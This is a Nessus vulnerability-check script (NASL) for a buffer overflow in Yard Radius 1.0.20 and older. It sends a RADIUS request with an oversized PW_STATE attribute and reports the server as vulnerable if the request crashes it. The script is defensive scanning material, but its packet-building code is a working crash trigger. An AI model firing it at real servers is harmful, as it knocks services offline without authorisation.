home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / yardradius_overflow.nasl < prev    next >
Text File  |  2005-01-14  |  2KB  |  88 lines

  1. #
  2. # (C) Tenable Network Security
  3. #
  4.  
  5.  
  6.  
  7. if(description)
  8. {
  9.  script_id(15892);
  10.  script_bugtraq_id(11753);
  11.  script_cve_id("CAN-2004-0987");
  12.  script_version ("$Revision: 1.1 $");
  13.  
  14.  name["english"] = "Yard Radius Remote Buffer Overflow Vulnerability";
  15.  script_name(english:name["english"]);
  16.  
  17.  desc["english"] = "
  18. The remote radius server seems to be running Yard Radius 1.0.20 or older.
  19.  
  20. This radius server is vulnerable to a buffer overflow that
  21. allows an attacker to gain a shell on this host.
  22.  
  23. *** Note that this check made the remote radius server crash
  24.  
  25. Solution : Upgrade to the latest version of this software
  26. Risk factor : High";
  27.  
  28.  script_description(english:desc["english"]);
  29.  
  30.  summary["english"] = "Overflows yardradius";
  31.  script_summary(english:summary["english"]);
  32.  
  33.  script_category(ACT_DESTRUCTIVE_ATTACK);
  34.  
  35.  script_copyright(english:"This script is Copyright (C) 2004 Tenable Network Security");
  36.  family["english"] = "Gain a shell remotely";
  37.  script_family(english:family["english"]);
  38.  exit(0);
  39. }
  40.  
  41.  
  42. port = 1812;
  43. if ( ! get_port_state(port) ) exit(0);
  44.  
  45. soc = open_sock_udp(port);
  46.  
  47. name = "Nessus";
  48.  
  49. coolreq = raw_string (0x01,      # Code: Access Request (1)
  50.           0x12,      # Packet identifier: 0x12 (18)
  51.           0x00,0x1C,      # Length: 58
  52.           # Authenticator :
  53.           0x20,0x20,0x20,0x20,0x20,0x20,0x31,0x31,0x30,0x31,0x39,0x31,0x32,0x38,0x34,0x32,
  54.           0x01,      # Attribute code : 1 (User-Name)
  55.           0x08,      # Att length
  56.           0x4E,0x65,0x73,0x73,0x75,0x73);
  57.  
  58. send(socket:soc, data:coolreq);
  59. r = recv(socket:soc, length:4096);
  60. if (!r) exit (0);
  61.  
  62. menu = "MENU=" + crap(data:"A", length:240);
  63.  
  64. req = raw_string (# Authenticator :
  65.           0x20,0x20,0x20,0x20,0x20,0x20,0x31,0x31,0x30,0x31,0x39,0x31,0x32,0x38,0x34,0x30,
  66.           0x01,      # Attribute code : 1 (User-Name)
  67.           (strlen(name)+2) % 256       # Attibute length
  68.           )
  69.           + name +
  70.       raw_string (0x18,      # Attribute code : PW_STATE (24)
  71.           (strlen(menu)+2) % 256      # Attribute length
  72.           )
  73.           + menu;
  74.  
  75. len_hi = (strlen(req) + 4)/256;
  76. len_lo = (strlen(req) + 4)%256;
  77.  
  78. req = raw_string (0x01,      # Code: Access Request (1)
  79.           0x12,      # Packet identifier: 0x12 (18)
  80.           len_hi,len_lo) + req;
  81.  
  82. send(socket:soc, data:req);
  83. r = recv(socket:soc, length:4096);
  84.  
  85. send(socket:soc, data:coolreq);
  86. r = recv(socket:soc, length:4096);
  87. if (!r) security_hole(port);
  88.